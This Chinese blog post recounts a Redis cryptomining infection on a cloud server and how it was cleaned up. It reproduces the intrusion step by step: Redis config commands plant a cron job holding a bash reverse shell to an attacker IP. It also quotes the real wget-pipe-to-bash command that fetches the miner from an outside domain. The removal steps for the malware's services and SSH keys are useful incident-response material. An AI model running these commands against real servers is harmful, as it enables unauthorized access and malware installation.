弓背霞明剑照霜,秋风走马出咸阳。这篇文章主要讲述什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!相关的知识,希望能为你提供帮助。
昨天晚上在阿里云服务器上安装了redis服务,因为是测试环境没有给redis设置密码,其实也有侥幸心里,认为redis就算被其它设备连接也无所谓,因为没有数据在上面,谁知道问题这么大...
昨天晚上收到阿里云短信,说服务器被有危险指令在执行,我以为是其它的小伙伴在搞什么东西,就没理,结果早上看了以下主机cpu使用率100%,赶紧打开了阿里云控制台查看昨天的信息。
查看安全告警:
看到一串复杂的域名就知道,完了,怕不是被当成矿机了.....
??0x01 入侵复现??
这里我复现一下攻击者是如何打入我的服务器的,这里的方法不一定就是攻击者使用的,因为他把我的日志删了,我也不知道它怎么操作的。。。
环境也特别简单,如下:
攻击设备进行redis连接:
redis-cli -h 192.168.122.182
攻击设备插入恶意代码(刚学redis,可能下面的注释不一定对):
// 添加一个key-val类型数据,
192.168.122.182:6379>
set x "\\n* * * * * bash -i >
&
/dev/tcp/192.168.122.1/3667 0>
&
1\\n"
OK
// 将上面的数据保存到/var/spool/cron下
192.168.122.182:6379>
config set dir /var/spool/cron/
OK
// 将保存的文件名设置为root
192.168.122.182:6379>
config set dbfilename root
OK
// 保存
192.168.122.182:6379>
save
OK
攻击设备监听端口,等待反弹shell
nc -lv 3667
获取到反弹的shell,因为我是用root用户启动的redis,所以。。。
执行病毒文件:
wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | bash
?0x02
病毒复现?
这里没有复现到,不知道还有啥讲究的....
但是根据上面的b.sh脚本分析和处理过程,可以按照以下方式进行修复:
1、关闭redis服务
2、删除可疑的ssh-key
// 病毒文件会把authorized_keys文件加锁,所以我们要先解锁
cd ~/.ssh/
chattr -ia authorized_keys*
// 编辑authorized_keys文件,删除可疑的key,最简单的就是直接吧authorized_keys文件删除掉
vi authorized_keys
3、删除三个进程
rm -rf /var/tmp/.copydie
systemctl stop kswapd0
systemctl stop scan
systemctl stop mass
cd /etc/systemd/system
rm -f kswapd0.service
rm -f scan.service
rm -f mass.service
systemctl daemon-reload
?
4、最好重启一下主机
reboot
?0x02
病毒复现?
CPU使用率飙到100%
大量的SYN_SENT连接
[root@redis-server opt]# netstat -natultp| grep SYN_SENT | wc -l
1024
通过脚本分析,可以看到病毒脚本对服务器做了免密操作
cd ~/.ssh/
cat authorized_keys*
要将这个秘钥删除掉,避免攻击者能直接登录我们的设备,但是删除的时候提示?Operation not permitted?:
[root@redis-server .ssh]# echo >
authorized_keys
bash: authorized_keys: Operation not permitted
使用?lsattr?和?chattr?查看和修改文件属性:
[root@redis-server .ssh]# lsattr authorized_keys*
-----a---------- authorized_keys
-----a---------- authorized_keys2
[root@redis-server .ssh]# chattr -a authorized_keys*
[root@redis-server .ssh]# echo >
authorized_keys
[root@redis-server .ssh]# echo >
authorized_keys2
通过脚本分析,发现病毒文件在/var/tmp/.copydie下放了一个[kswapd0]进程文件,将它删除掉
[root@redis-server ~]# rm -rf /var/tmp/.copydie/
关闭进程,并删除进程文件
[root@redis-server ~]# systemctl stop kswapd0
[root@redis-server ~]# rm -f /etc/systemd/system/kswapd0.service
[root@redis-server ~]# systemctl daemon-reload
此时可以看到cpu利用率已经下来一点了
再仔细看脚本,还有scan和mass服务需要删除
删除文件并停止服务:
[root@redis-server ~]# rm -f/usr/share/[scan] /usr/local/bin/pnscan /usr/local/bin/pnscan /usr/libexec/urlgrabber-ext-down
[root@redis-server ~]# systemctl stop scan
[root@redis-server ~]# systemctl stop mass
[root@redis-server ~]# rm -f /etc/systemd/system/scan.service /etc/systemd/system/mass.service
[root@redis-server ~]# systemctl daemon-reload
此时可以看到cpu使用率已经恢复的差不多了
查看链接,发现还有一个异常链接...,重启也没用
实在是没办法了,直接安排上安全组
??0x03 我怂了??
虽然是测试环境,但我还是怂了,立马安排上阿里云的安全插件。。。
很有一件很狗血的事,我的阿里云和腾讯云做了免密登录,结果腾讯云的主机也中招了,但是腾讯云没有检测到,不知道是安全检测有问题还是我之前登录过,所以腾讯云认为这是常规操作,搞不懂....
------
结束
【什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!】
推荐阅读
- Linux CentOS7本地源编写
- 在Ubuntu20.04上安装Kubernetes-Kubeadm和Minikube
- [kubernetes] kubernetes集群平滑升级
- Windows or Linux(操作系统有那些作用,要如何选择)
- [kubernetes] POD健康检测和自愈
- TDengine 在蔚来能源系统的落地实践
- [kubernetes] 交付dubbo之zookeeper安装配置
- 四大功能!带你初识 Fabric | 容器网络系列第2期
- [kubernetes] 跨云厂商使用公网IP搭建k8s v1.20.9集群